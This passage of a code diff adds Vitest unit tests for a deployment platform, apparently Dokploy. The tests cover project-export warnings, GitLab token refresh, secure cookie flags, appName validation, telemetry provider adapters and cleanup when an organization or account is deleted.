const probed: (string | null)[] = [];
const versions = await collectDockerVersions(
tree as never,
scope,
async (serverId) => {
probed.push(serverId);
return serverId ? "26.1.0" : "27.0.1";
},
);
expect(probed).toEqual([null, "srv-1"]);
expect(versions).toEqual({ local: "27.0.1", "srv-1": "26.1.0" });
});
it("skips servers whose probe fails", async () => {
const versions = await collectDockerVersions(
tree as never,
scope,
async (serverId) => {
if (serverId) throw new Error("ssh down");
return "27.0.1";
},
);
expect(versions).toEqual({ local: "27.0.1" });
});
});
@@ -0,0 +1,281 @@
import type { ExportScope } from "@dokploy/server/services/project-export-import";
import { detectWarnings } from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const baseScope: ExportScope = {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
};
const baseApplication = {
applicationId: "app-1",
name: "app-1",
appName: "app-one",
mounts: [],
domains: [],
isPreviewDeploymentsActive: false,
sourceType: "github",
autoDeploy: false,
};
const baseCompose = {
composeId: "compose-1",
name: "compose-1",
appName: "compose-one",
composeFile: "services: {}",
mounts: [],
domains: [],
autoDeploy: false,
};
const emptyServiceArrays = {
mysql: [],
mariadb: [],
mongo: [],
libsql: [],
};
const buildTree = (overrides: {
applications?: Record<string, unknown>[];
compose?: Record<string, unknown>[];
postgres?: Record<string, unknown>[];
redis?: Record<string, unknown>[];
}) => ({
projectId: "project-1",
name: "my-project",
organizationId: "org-1",
env: "",
environments: [
{
environmentId: "env-1",
name: "production",
env: "",
applications: overrides.applications ?? [],
compose: overrides.compose ?? [],
postgres: overrides.postgres ?? [],
redis: overrides.redis ?? [],
...emptyServiceArrays,
},
],
});
const codesOf = (warnings: { code: string }[]) => warnings.map((w) => w.code);
describe("detectWarnings", () => {
it("IMAGE_TAG_NOT_PINNED for a database on a floating tag, not for a pinned one", () => {
const tree = buildTree({
postgres: [
{
postgresId: "pg-1",
name: "pg",
appName: "pg-one",
dockerImage: "postgres:latest",
mounts: [],
},
{
postgresId: "pg-2",
name: "pg2",
appName: "pg-two",
dockerImage: "postgres:17",
mounts: [],
},
],
applications: [
{ ...baseApplication, sourceType: "docker", dockerImage: "nginx" },
],
});
const warnings = detectWarnings(tree as any, baseScope).filter(
(w) => w.code === "IMAGE_TAG_NOT_PINNED",
);
expect(warnings.map((w) => w.affected[0]?.serviceId).sort()).toEqual([
"app-1",
"pg-1",
]);
});
it("ABSOLUTE_HOST_PATH_MOUNT for a bind mount with an absolute host path", () => {
const tree = buildTree({
applications: [
{
...baseApplication,
mounts: [
{
mountId: "mount-1",
type: "bind",
hostPath: "/var/data",
mountPath: "/data",
},
],
},
],
});
const warnings = detectWarnings(tree as any, baseScope);
expect(codesOf(warnings)).toContain("ABSOLUTE_HOST_PATH_MOUNT");
});
it("MANUAL_VOLUME_NAME for a volume mount with an explicit volumeName", () => {
const tree = buildTree({
applications: [
{
...baseApplication,
mounts: [
{
mountId: "mount-1",
type: "volume",
volumeName: "my-custom-volume",
mountPath: "/data",
},
],
},
],
});
const warnings = detectWarnings(tree as any, baseScope);
expect(codesOf(warnings)).toContain("MANUAL_VOLUME_NAME");
});
it("does not warn about a volume name that embeds the service's own appName", () => {
const tree = buildTree({
applications: [
{
...baseApplication,
mounts: [
{
mountId: "mount-1",
type: "volume",
volumeName: `${baseApplication.appName}-data`,
mountPath: "/data",
},
],
},
],
});
const warnings = detectWarnings(tree as any, baseScope);
expect(codesOf(warnings)).not.toContain("MANUAL_VOLUME_NAME");
});
it("does not warn about a bind mount with a relative path or an auto volume name", () => {
const tree = buildTree({
applications: [
{
...baseApplication,
mounts: [
{
mountId: "m1",
type: "bind",
hostPath: "relative",
mountPath: "/a",
},
{
mountId: "m2",
type: "volume",
volumeName: null,
mountPath: "/b",
},
],
},
],
});
const warnings = detectWarnings(tree as any, baseScope);
expect(codesOf(warnings)).not.toContain("ABSOLUTE_HOST_PATH_MOUNT");
expect(codesOf(warnings)).not.toContain("MANUAL_VOLUME_NAME");
});
it("APPNAME_IN_COMPOSE_FILE when the compose file references its own appName", () => {
const tree = buildTree({
compose: [
{
...baseCompose,
appName: "compose-one",
composeFile: "networks:\n compose-one-net:\n external: true",
},
],
});
const warnings = detectWarnings(tree as any, baseScope);
expect(codesOf(warnings)).toContain("APPNAME_IN_COMPOSE_FILE");
});
it("PREVIEW_DEPLOYMENTS_DROPPED when preview deployments are active", () => {
const tree = buildTree({
applications: [{ ...baseApplication, isPreviewDeploymentsActive: true }],
});
const warnings = detectWarnings(tree as any, baseScope);
expect(codesOf(warnings)).toContain("PREVIEW_DEPLOYMENTS_DROPPED");
});
it("LETSENCRYPT_CERTS_NOT_EXPORTED for a domain with a letsencrypt certificate", () => {
const tree = buildTree({
applications: [
{
...baseApplication,
domains: [
{
domainId: "dom-1",
host: "app.example.com",
certificateType: "letsencrypt",
},
],
},
],
});
const warnings = detectWarnings(tree as any, baseScope);
expect(codesOf(warnings)).toContain("LETSENCRYPT_CERTS_NOT_EXPORTED");
});
it("REDIS_NO_DUMP for every redis service in scope", () => {
const tree = buildTree({
redis: [{ redisId: "redis-1", name: "redis-1", mounts: [] }],
});
const warnings = detectWarnings(tree as any, baseScope);
expect(codesOf(warnings)).toContain("REDIS_NO_DUMP");
});
it("WEBHOOK_TOKEN_REGENERATED for a service with autoDeploy enabled", () => {
const tree = buildTree({
applications: [{ ...baseApplication, autoDeploy: true }],
});
const warnings = detectWarnings(tree as any, baseScope);
expect(codesOf(warnings)).toContain("WEBHOOK_TOKEN_REGENERATED");
});
it("DROP_SOURCE_NOT_EXPORTED when a drop-source app is excluded from files", () => {
const tree = buildTree({
applications: [{ ...baseApplication, sourceType: "drop" }],
});
const warnings = detectWarnings(tree as any, {
...baseScope,
files: { ...baseScope.files, applicationSources: false },
});
expect(codesOf(warnings)).toContain("DROP_SOURCE_NOT_EXPORTED");
});
it("does not warn DROP_SOURCE_NOT_EXPORTED when applicationSources is included", () => {
const tree = buildTree({
applications: [{ ...baseApplication, sourceType: "drop" }],
});
const warnings = detectWarnings(tree as any, baseScope);
expect(codesOf(warnings)).not.toContain("DROP_SOURCE_NOT_EXPORTED");
});
it("only inspects services within scope", () => {
const included = { ...baseApplication, applicationId: "app-included" };
const excluded = {
...baseApplication,
applicationId: "app-excluded",
autoDeploy: true,
};
const tree = buildTree({ applications: [included, excluded] });
const warnings = detectWarnings(tree as any, {
...baseScope,
serviceIds: ["app-included"],
});
expect(codesOf(warnings)).not.toContain("WEBHOOK_TOKEN_REGENERATED");
});
});
@@ -0,0 +1,99 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
const store = vi.hoisted(() => ({
provider: {} as Record<string, unknown>,
}));
vi.mock("@dokploy/server/services/gitlab", () => ({
findGitlabById: vi.fn(async () => ({ ...store.provider })),
updateGitlab: vi.fn(async (_id: string, values: Record<string, unknown>) => {
store.provider = { ...store.provider, ...values };
}),
}));
const { refreshGitlabToken } = await import(
"@dokploy/server/utils/providers/gitlab"
);
const GITLAB_ID = "gitlab-1";
// Behaves like GitLab: a refresh returns a new pair and invalidates the refresh token it used
const createGitlab = () => {
let validRefreshToken = "refresh-1";
let issued = 1;
let failNext = false;
const fetch = vi.fn(async (_url: string, init: RequestInit) => {
const body = new URLSearchParams(init.body as string);
// Keeps the request open, so concurrent callers overlap as two deployments do
await new Promise((resolve) => setTimeout(resolve, 20));
if (failNext) {
failNext = false;
return new Response(null, {
status: 500,
statusText: "Internal Server Error",
});
}
if (body.get("refresh_token") !== validRefreshToken) {
return new Response(null, { status: 400, statusText: "Bad Request" });
}
issued++;
validRefreshToken = `refresh-${issued}`;
return Response.json({
access_token: `access-${issued}`,
refresh_token: validRefreshToken,
expires_in: 7200,
});
});
return {
fetch,
failNextRequest: () => {
failNext = true;
},
};
};
describe("refreshGitlabToken", () => {
let gitlab: ReturnType<typeof createGitlab>;
beforeEach(() => {
store.provider = {
gitlabId: GITLAB_ID,
gitlabUrl: "https://gitlab.example.com",
gitlabInternalUrl: null,
applicationId: "app-id",
secret: "app-secret",
accessToken: "access-1",
refreshToken: "refresh-1",
expiresAt: 0,
};
gitlab = createGitlab();
vi.stubGlobal("fetch", gitlab.fetch);
});
it("sends one refresh request when two callers find the token expired at the same time", async () => {
await Promise.all([
refreshGitlabToken(GITLAB_ID),
refreshGitlabToken(GITLAB_ID),
]);
expect(gitlab.fetch).toHaveBeenCalledTimes(1);
expect(store.provider.refreshToken).toBe("refresh-2");
});
it("refreshes again after a failed refresh", async () => {
gitlab.failNextRequest();
await expect(refreshGitlabToken(GITLAB_ID)).rejects.toThrow(
"Failed to refresh token: Internal Server Error",
);
await refreshGitlabToken(GITLAB_ID);
expect(gitlab.fetch).toHaveBeenCalledTimes(2);
expect(store.provider.refreshToken).toBe("refresh-2");
});
});
@@ -0,0 +1,46 @@
import { describe, expect, it } from "vitest";
import { isHttpsRequest, secureSetCookie } from "@/lib/secure-cookies";
describe("isHttpsRequest", () => {
it("returns true when X-Forwarded-Proto is https", () => {
expect(isHttpsRequest("https")).toBe(true);
});
it("returns false for http or a missing header", () => {
expect(isHttpsRequest("http")).toBe(false);
expect(isHttpsRequest(undefined)).toBe(false);
});
it("uses the left-most value of a proxy chain", () => {
expect(isHttpsRequest("https, http")).toBe(true);
expect(isHttpsRequest("http, https")).toBe(false);
});
it("handles an array header value and is case-insensitive", () => {
expect(isHttpsRequest(["HTTPS", "http"])).toBe(true);
});
});
describe("secureSetCookie", () => {
it("adds Secure to a cookie that lacks it", () => {
expect(
secureSetCookie("better-auth.session_token=abc; Path=/; HttpOnly"),
).toBe("better-auth.session_token=abc; Path=/; HttpOnly; Secure");
});
it("does not duplicate Secure when already present", () => {
const cookie = "better-auth.session_token=abc; Path=/; Secure; HttpOnly";
expect(secureSetCookie(cookie)).toBe(cookie);
});
it("applies to every cookie in an array", () => {
expect(secureSetCookie(["a=1; Path=/", "b=2; Path=/; Secure"])).toEqual([
"a=1; Path=/; Secure",
"b=2; Path=/; Secure",
]);
});
it("passes a numeric header value through untouched", () => {
expect(secureSetCookie(123)).toBe(123);
});
});
@@ -0,0 +1,66 @@
import { apiCreateLibsql } from "@dokploy/server/db/schema";
import { APP_NAME_MESSAGE } from "@dokploy/server/db/schema/utils";
import { describe, expect, it } from "vitest";
describe("apiCreateLibsql appName", () => {
const validBase = {
name: "My libSQL",
dockerImage: "ghcr.io/tursodatabase/libsql-server:v0.24.32",
environmentId: "env-1",
description: null,
databaseUser: "admin",
databasePassword: "secretPassword1",
sqldNode: "primary" as const,
sqldPrimaryUrl: null,
enableNamespaces: false,
serverId: null,
};
it.each([
["a space", "my libsql"],
["an at sign", "repro@lib"],
["a slash", "team/libsql"],
["a colon", "libsql:1"],
])("refuses an appName with %s", (_, appName) => {
const result = apiCreateLibsql.safeParse({ ...validBase, appName });
expect(result.success).toBe(false);
if (!result.success) {
const appNameIssues = result.error.issues.filter(
(issue) => issue.path[0] === "appName",
);
expect(appNameIssues.map((issue) => issue.message)).toEqual([
APP_NAME_MESSAGE,
]);
}
});
it("accepts an appName of letters, numbers, dots, underscores and hyphens", () => {
const result = apiCreateLibsql.safeParse({
...validBase,
appName: "my-libsql.db_1",
});
expect(result.success).toBe(true);
});
it("refuses an appName longer than 63 characters", () => {
const result = apiCreateLibsql.safeParse({
...validBase,
appName: "a".repeat(64),
});
expect(result.success).toBe(false);
if (!result.success) {
const appNameIssues = result.error.issues.filter(
(issue) => issue.path[0] === "appName",
);
expect(appNameIssues.map((issue) => issue.code)).toEqual(["too_big"]);
}
});
it("accepts an appName of 63 characters", () => {
const result = apiCreateLibsql.safeParse({
...validBase,
appName: "a".repeat(63),
});
expect(result.success).toBe(true);
});
});
@@ -0,0 +1,56 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
const mocks = vi.hoisted(() => ({
findOwnedOrganizations: vi.fn(),
transaction: vi.fn(),
removeVectorAgents: vi.fn(),
calls: [] as string[],
}));
vi.mock("@dokploy/server/db", () => ({
db: {
query: { organization: { findMany: mocks.findOwnedOrganizations } },
transaction: mocks.transaction,
},
}));
vi.mock("@dokploy/server/services/organization", () => ({
removeVectorAgents: mocks.removeVectorAgents,
}));
const { deleteUserAccountData } = await import(
"@dokploy/server/services/account-deletion"
);
beforeEach(() => {
mocks.calls.length = 0;
mocks.findOwnedOrganizations.mockReset();
mocks.removeVectorAgents
.mockReset()
.mockImplementation(async (id: string) => mocks.calls.push(`agents:${id}`));
mocks.transaction.mockReset().mockImplementation(async () => {
mocks.calls.push("delete");
return { email: "a@b.c", organizationsDeleted: 2 };
});
});
describe("deleteUserAccountData", () => {
it("removes the Vector agents of every owned organization before deleting the user", async () => {
mocks.findOwnedOrganizations.mockResolvedValue([
{ id: "org-a" },
{ id: "org-b" },
]);
await deleteUserAccountData("user-1");
expect(mocks.calls).toEqual(["agents:org-a", "agents:org-b", "delete"]);
});
it("deletes the user without touching agents when it owns no organization", async () => {
mocks.findOwnedOrganizations.mockResolvedValue([]);
await deleteUserAccountData("user-1");
expect(mocks.removeVectorAgents).not.toHaveBeenCalled();
expect(mocks.calls).toEqual(["delete"]);
});
});
@@ -0,0 +1,542 @@
import {
getTelemetryProviderAdapter,
telemetryProviderAdapters,
} from "@dokploy/server/services/logs-and-metrics/providers/registry";
import type { TelemetryProviderRuntimeConfig } from "@dokploy/server/services/logs-and-metrics/types";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
const aws = vi.hoisted(() => ({
describeLogGroups: vi.fn(),
putMetricData: vi.fn(),
}));
vi.mock("node:dns/promises", () => ({
lookup: async () => [{ address: "93.184.216.34" }],
}));
vi.mock("@aws-sdk/client-cloudwatch-logs", () => ({
CloudWatchLogsClient: class {
send = aws.describeLogGroups;
},
DescribeLogGroupsCommand: class {
constructor(public input: unknown) {}
},
}));
vi.mock("@aws-sdk/client-cloudwatch", () => ({
CloudWatchClient: class {
send = aws.putMetricData;
},
PutMetricDataCommand: class {
constructor(public input: unknown) {}
},
}));
const baseConfig: TelemetryProviderRuntimeConfig = {
telemetryProviderId: "provider-1",
name: "test",
signals: ["metrics"],
endpoint: null,
apiKey: null,
apiSecret: null,
extraConfig: null,
};
const originalFetch = global.fetch;
const fetchMock = vi.fn();
const respond = (status: number, body: unknown = "") =>
new Response(
status === 204
? null
: typeof body === "string"
? body
: JSON.stringify(body),
{ status },
);
beforeEach(() => {
fetchMock.mockReset();
aws.describeLogGroups.mockReset();
aws.putMetricData.mockReset();
global.fetch = fetchMock as unknown as typeof fetch;
});
afterEach(() => {
global.fetch = originalFetch;
});
const calledUrls = () => fetchMock.mock.calls.map((call) => String(call[0]));
describe("registry", () => {
it("resolves the nine provider types, each with a non-empty valid signal list", () => {
const types = [
"loki",
"prometheus_remote_write",
"new_relic",
"influxdb",
"datadog",
"aws_cloudwatch",
"splunk_hec",
"elasticsearch",
"betterstack",
] as const;
expect(Object.keys(telemetryProviderAdapters).sort()).toEqual(
[...types].sort(),
);
for (const type of types) {
const adapter = getTelemetryProviderAdapter(type);
expect(adapter.type).toBe(type);
expect(adapter.signals.length).toBeGreaterThan(0);
expect(
adapter.signals.every((s) => s === "logs" || s === "metrics"),
).toBe(true);
}
expect(telemetryProviderAdapters.loki.signals).toEqual(["logs"]);
expect(telemetryProviderAdapters.prometheus_remote_write.signals).toEqual([
"metrics",
]);
expect(telemetryProviderAdapters.datadog.signals).toEqual([
"logs",
"metrics",
]);
});
});
describe("prometheusRemoteWriteAdapter", () => {
const adapter = telemetryProviderAdapters.prometheus_remote_write;
const endpoint = "http://prom.example.com:9090/api/v1/write";
it("builds a sink without auth, with the healthcheck disabled", () => {
const sink = adapter.toVectorSink(
{ ...baseConfig, endpoint },
"sink_1",
"dokploy_metrics_scope",
"metrics",
);
expect(sink).toMatchObject({
type: "prometheus_remote_write",
inputs: ["dokploy_metrics_scope"],
endpoint,
healthcheck: { enabled: false },
});
expect(sink.auth).toBeUndefined();
expect(sink.tenant_id).toBeUndefined();
});
it("uses basic auth with a username, bearer with a token alone, and sets tenant_id", () => {
const basic = adapter.toVectorSink(
{
...baseConfig,
endpoint,
apiKey: "pw",
extraConfig: { username: "12345", tenantId: "team-a" },
},
"sink_1",
"scope",
"metrics",
);
expect(basic.auth).toEqual({
strategy: "basic",
user: "12345",
password: "pw",
});
expect(basic.tenant_id).toBe("team-a");
const bearer = adapter.toVectorSink(
{ ...baseConfig, endpoint, apiKey: "tok" },
"sink_1",
"scope",
"metrics",
);
expect(bearer.auth).toEqual({ strategy: "bearer", token: "tok" });
});
it("rejects an endpoint that is not an http(s) URL", () => {
expect(() =>
adapter.validateConfig?.({ ...baseConfig, endpoint: "not a url" }),
).toThrow(/valid http\(s\) URL/);
expect(() =>
adapter.validateConfig?.({ ...baseConfig, endpoint: "ftp://x" }),
).toThrow(/valid http\(s\) URL/);
});
it("treats 2xx and 400 as success and gives distinct errors for 401 and 404", async () => {
fetchMock.mockResolvedValueOnce(respond(204));
await expect(
adapter.testConnection?.({ ...baseConfig, endpoint }),
).resolves.toBeUndefined();
fetchMock.mockResolvedValueOnce(respond(400));
await expect(
adapter.testConnection?.({ ...baseConfig, endpoint }),
).resolves.toBeUndefined();
fetchMock.mockResolvedValueOnce(respond(401));
await expect(
adapter.testConnection?.({ ...baseConfig, endpoint, apiKey: "bad" }),
).rejects.toThrow(/rejected the credentials \(status 401\)/);
fetchMock.mockResolvedValueOnce(respond(404));
await expect(
adapter.testConnection?.({ ...baseConfig, endpoint }),
).rejects.toThrow(/not found at this URL \(status 404\)/);
});
it("sends the auth header and the tenant header on the test request", async () => {
fetchMock.mockResolvedValueOnce(respond(204));
await adapter.testConnection?.({
...baseConfig,
endpoint,
apiKey: "tok",
extraConfig: { tenantId: "team-a" },
});
const init = fetchMock.mock.calls[0]?.[1] as RequestInit;
expect(init.method).toBe("POST");
expect(init.headers).toMatchObject({
Authorization: "Bearer tok",
"X-Scope-OrgID": "team-a",
});
});
});
describe("newRelicAdapter", () => {
const adapter = telemetryProviderAdapters.new_relic;
const config = {
...baseConfig,
apiKey: "license",
extraConfig: { accountId: "123" },
};
it("defaults to the us region and accepts eu", () => {
expect(adapter.toVectorSink(config, "s", "scope", "metrics")).toMatchObject(
{
type: "new_relic",
api: "metrics",
license_key: "license",
account_id: "123",
region: "us",
},
);
expect(
adapter.toVectorSink(
{ ...config, extraConfig: { accountId: "123", region: "EU" } },
"s",
"scope",
"metrics",
).region,
).toBe("eu");
});
it("rejects an unknown region", () => {
expect(() =>
adapter.validateConfig?.({
...config,
extraConfig: { accountId: "123", region: "jp" },
}),
).toThrow(/"us" or "eu"/);
});
it("posts a gauge to the regional metric API: 202 passes, 403 is an invalid key", async () => {
fetchMock.mockResolvedValueOnce(respond(202));
await expect(
adapter.testConnection?.({
...config,
extraConfig: { accountId: "123", region: "eu" },
}),
).resolves.toBeUndefined();
expect(calledUrls()[0]).toBe(
"https://metric-api.eu.newrelic.com/metric/v1",
);
fetchMock.mockResolvedValueOnce(respond(403));
await expect(adapter.testConnection?.(config)).rejects.toThrow(
/rejected the license key/,
);
expect(calledUrls()[1]).toBe("https://metric-api.newrelic.com/metric/v1");
});
});
describe("influxdbAdapter", () => {
const adapter = telemetryProviderAdapters.influxdb;
const config = {
...baseConfig,
endpoint: "http://influx.example.com:8086",
apiKey: "token",
extraConfig: { org: "dokploy", bucket: "metrics" },
};
it("builds an influxdb_metrics v2 sink", () => {
expect(adapter.toVectorSink(config, "s", "scope", "metrics")).toEqual({
type: "influxdb_metrics",
inputs: ["scope"],
endpoint: "http://influx.example.com:8086",
org: "dokploy",
bucket: "metrics",
token: "token",
default_namespace: "dokploy",
version: "2",
buffer: { type: "disk", max_size: 268_435_488, when_full: "block" },
});
});
it("writes a test point: 204 passes, 401 and 404 give distinct errors", async () => {
fetchMock.mockResolvedValueOnce(respond(204));
await expect(adapter.testConnection?.(config)).resolves.toBeUndefined();
expect(calledUrls()[0]).toBe(
"http://influx.example.com:8086/api/v2/write?org=dokploy&bucket=metrics&precision=s",
);
fetchMock.mockResolvedValueOnce(respond(401));
await expect(adapter.testConnection?.(config)).rejects.toThrow(
/rejected the token/,
);
fetchMock.mockResolvedValueOnce(respond(404));
await expect(adapter.testConnection?.(config)).rejects.toThrow(
/organization or bucket not found/,
);
});
});
describe("datadogAdapter with metrics", () => {
const adapter = telemetryProviderAdapters.datadog;
const config = {
...baseConfig,
signals: ["logs", "metrics"] as const,
apiKey: "dd",
};
it("ships metrics through datadog_metrics without a transform", () => {
expect(
adapter.toVectorTransform?.(config as never, "t", "scope", "metrics"),
).toBeNull();
expect(
adapter.toVectorSink(config as never, "s", "scope", "metrics"),
).toMatchObject({
type: "datadog_metrics",
inputs: ["scope"],
default_api_key: "dd",
site: "datadoghq.com",
});
});
it("keeps the logs sink and ddtags transform unchanged", () => {
expect(
adapter.toVectorTransform?.(config as never, "t", "scope", "logs"),
).toMatchObject({ type: "remap", inputs: ["scope"] });
expect(adapter.toVectorSink(config as never, "s", "t", "logs").type).toBe(
"datadog_logs",
);
});
});
describe("betterStackAdapter with metrics", () => {
const adapter = telemetryProviderAdapters.betterstack;
const config = {
...baseConfig,
endpoint: "in.logs.betterstack.com",
apiKey: "token",
};
it("posts metrics to /metrics without a transform", () => {
expect(
adapter.toVectorTransform?.(config, "t", "scope", "metrics"),
).toBeNull();
expect(adapter.toVectorSink(config, "s", "scope", "metrics")).toMatchObject(
{
type: "http",
uri: "https://in.logs.betterstack.com/metrics",
auth: { strategy: "bearer", token: "token" },
},
);
expect(adapter.toVectorSink(config, "s", "scope", "logs").uri).toBe(
"https://in.logs.betterstack.com/",
);
});
it("tests each selected signal: two requests for logs and metrics, one for logs only", async () => {
fetchMock.mockResolvedValue(respond(202));
await adapter.testConnection?.({ ...config, signals: ["logs", "metrics"] });
expect(calledUrls()).toEqual([
"https://in.logs.betterstack.com/",
"https://in.logs.betterstack.com/metrics",
]);
fetchMock.mockClear();
await adapter.testConnection?.({ ...config, signals: ["logs"] });
expect(calledUrls()).toEqual(["https://in.logs.betterstack.com/"]);
});
});
describe("awsCloudwatchAdapter with metrics", () => {
const adapter = telemetryProviderAdapters.aws_cloudwatch;
const config = {
...baseConfig,
apiKey: "AKIA",
apiSecret: "secret",
extraConfig: {
region: "us-east-1",
logGroup: "/dokploy/logs",
metricsNamespace: "Dokploy",
},
};
it("scopes the log fields to logs and the namespace to metrics", () => {
const bySignal = Object.fromEntries(
adapter.credentialFields.map((f) => [f.key, f.signal]),
);
expect(bySignal).toMatchObject({
logGroup: "logs",
logStream: "logs",
metricsNamespace: "metrics",
});
expect(bySignal.region).toBeUndefined();
});
it("rejects a namespace starting with AWS/ only when metrics are selected", () => {
const bad = {
...config,
extraConfig: { ...config.extraConfig, metricsNamespace: "AWS/Foo" },
};
expect(() => adapter.validateConfig?.(bad)).toThrow(
/cannot start with AWS\//,
);
expect(() =>
adapter.validateConfig?.({ ...bad, signals: ["logs"] }),
).not.toThrow();
});
it("filters metrics to the allowlist and sets the namespace in the transform", () => {
const transform = adapter.toVectorTransform?.(
config,
"t",
"scope",
"metrics",
);
expect(transform).toMatchObject({
type: "remap",
inputs: ["scope"],
drop_on_abort: true,
});
expect(transform?.source).toContain(
'if !includes(["cpu_seconds_total","memory_used_bytes","memory_total_bytes","filesystem_used_bytes","filesystem_total_bytes","network_receive_bytes_total","network_transmit_bytes_total","load1","load5","load15","container_cpu_usage_seconds_total","container_memory_usage_bytes","container_network_receive_bytes_total","container_network_transmit_bytes_total"], .name) { abort }',
);
expect(transform?.source).toContain('.namespace = "Dokploy"');
expect(adapter.toVectorSink(config, "s", "t", "metrics")).toMatchObject({
type: "aws_cloudwatch_metrics",
inputs: ["t"],
default_namespace: "Dokploy",
region: "us-east-1",
auth: { access_key_id: "AKIA", secret_access_key: "secret" },
});
});
it("tests metrics with PutMetricData only, and translates AccessDenied", async () => {
aws.putMetricData.mockResolvedValue({});
await adapter.testConnection?.({ ...config, signals: ["metrics"] });
expect(aws.putMetricData).toHaveBeenCalledTimes(1);
expect(aws.describeLogGroups).not.toHaveBeenCalled();
expect(aws.putMetricData.mock.calls[0]?.[0]).toMatchObject({
input: { Namespace: "Dokploy" },
});
aws.putMetricData.mockRejectedValue(
Object.assign(new Error("denied"), { name: "AccessDenied" }),
);
await expect(
adapter.testConnection?.({ ...config, signals: ["metrics"] }),
).rejects.toThrow(/needs cloudwatch:PutMetricData/);
});
it("tests logs with DescribeLogGroups only", async () => {
aws.describeLogGroups.mockResolvedValue({});
await adapter.testConnection?.({ ...config, signals: ["logs"] });
expect(aws.describeLogGroups).toHaveBeenCalledTimes(1);
expect(aws.putMetricData).not.toHaveBeenCalled();
});
});
describe("splunkAdapter with metrics", () => {
const adapter = telemetryProviderAdapters.splunk_hec;
const config = {
...baseConfig,
endpoint: "https://splunk.example.com:8088",
apiKey: "hec",
extraConfig: { metricsIndex: "dokploy_metrics" },
};
it("requires the metrics index only for metrics", () => {
const field = adapter.credentialFields.find(
(f) => f.key === "metricsIndex",
);
expect(field).toMatchObject({ required: true, signal: "metrics" });
expect(
adapter.credentialFields.find((f) => f.key === "index")?.signal,
).toBe("logs");
});
it("builds a splunk_hec_metrics sink", () => {
expect(adapter.toVectorSink(config, "s", "scope", "metrics")).toMatchObject(
{
type: "splunk_hec_metrics",
endpoint: "https://splunk.example.com:8088",
default_token: "hec",
index: "dokploy_metrics",
source: "dokploy",
sourcetype: "dokploy:metrics",
},
);
});
it("writes a test metric and translates HEC code 7", async () => {
fetchMock.mockResolvedValueOnce(respond(200, { text: "Success", code: 0 }));
await expect(adapter.testConnection?.(config)).resolves.toBeUndefined();
expect(calledUrls()).toEqual([
"https://splunk.example.com:8088/services/collector",
]);
fetchMock.mockResolvedValueOnce(
respond(400, { text: "Incorrect index", code: 7 }),
);
await expect(adapter.testConnection?.(config)).rejects.toThrow(
/can't write to the metrics index "dokploy_metrics"/,
);
});
it("only checks the health endpoint for logs", async () => {
fetchMock.mockResolvedValueOnce(respond(200));
await adapter.testConnection?.({ ...config, signals: ["logs"] });
expect(calledUrls()).toEqual([
"https://splunk.example.com:8088/services/collector/health",
]);
});
});
describe("elasticsearchAdapter with metrics", () => {
const adapter = telemetryProviderAdapters.elasticsearch;
const config = { ...baseConfig, endpoint: "https://es.example.com:9200" };
it("uses the daily default metrics index when none is set, and the custom one otherwise", () => {
expect(
adapter.toVectorTransform?.(config, "t", "scope", "metrics"),
).toBeNull();
expect(adapter.toVectorSink(config, "s", "scope", "metrics")).toMatchObject(
{
type: "elasticsearch",
api_version: "v8",
bulk: { index: "dokploy-metrics-%Y.%m.%d" },
},
);
expect(
adapter.toVectorSink(
{ ...config, extraConfig: { metricsIndex: "metrics-custom" } },
"s",
"scope",
"metrics",
).bulk,
).toEqual({ index: "metrics-custom" });
});
it("keeps the logs sink without a bulk index unless one is set", () => {
expect(adapter.toVectorSink(config, "s", "t", "logs").bulk).toBeUndefined();
});
});
@@ -0,0 +1,85 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
const mocks = vi.hoisted(() => ({
findServersByOrganizationForVectorAgent: vi.fn(),
getWebServerSettings: vi.fn(),
releaseWebServerAgent: vi.fn(),
removeVectorAgent: vi.fn(),
deleteWhere: vi.fn(),
}));
vi.mock("@dokploy/server/constants", () => ({ IS_CLOUD: false }));
vi.mock("@dokploy/server/db", () => ({
db: { delete: () => ({ where: mocks.deleteWhere }) },
}));
vi.mock("@dokploy/server/services/server", () => ({
findServersByOrganizationForVectorAgent:
mocks.findServersByOrganizationForVectorAgent,
}));
vi.mock("@dokploy/server/services/web-server-settings", () => ({
getWebServerSettings: mocks.getWebServerSettings,
releaseWebServerAgent: mocks.releaseWebServerAgent,
}));
vi.mock("@dokploy/server/setup/vector-setup", () => ({
removeVectorAgent: mocks.removeVectorAgent,
withVectorTargetLock: (_: string | undefined, fn: () => Promise<unknown>) =>
fn(),
}));
const { deleteOrganization } = await import(
"@dokploy/server/services/organization"
);
beforeEach(() => {
for (const mock of Object.values(mocks)) mock.mockReset();
mocks.findServersByOrganizationForVectorAgent.mockResolvedValue([]);
mocks.deleteWhere.mockResolvedValue({ count: 1 });
vi.spyOn(console, "error").mockImplementation(() => {});
});
describe("deleteOrganization", () => {
it("attempts cleanup on every server, even with an empty selection, and swallows errors", async () => {
mocks.findServersByOrganizationForVectorAgent.mockResolvedValue([
{ serverId: "server-1", telemetryProviderIds: ["lp-1"] },
{ serverId: "server-2", telemetryProviderIds: ["lp-1"] },
{ serverId: "server-3", telemetryProviderIds: [] },
]);
mocks.removeVectorAgent.mockImplementation(async (serverId?: string) => {
if (serverId === "server-1") throw new Error("ssh down");
});
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: null,
});
await deleteOrganization("org-a");
expect(mocks.removeVectorAgent).toHaveBeenCalledWith("server-1");
expect(mocks.removeVectorAgent).toHaveBeenCalledWith("server-2");
expect(mocks.removeVectorAgent).toHaveBeenCalledWith("server-3");
expect(mocks.deleteWhere).toHaveBeenCalled();
});
it("leaves the local agent alone when another organization owns it", async () => {
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: "org-b",
});
await deleteOrganization("org-a");
expect(mocks.removeVectorAgent).not.toHaveBeenCalled();
expect(mocks.releaseWebServerAgent).not.toHaveBeenCalled();
});
it("releases the local agent even when removing it fails", async () => {
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: "org-a",
});
mocks.removeVectorAgent.mockRejectedValue(new Error("docker down"));
await deleteOrganization("org-a");
expect(mocks.removeVectorAgent).toHaveBeenCalledWith();
expect(mocks.releaseWebServerAgent).toHaveBeenCalledWith("org-a");
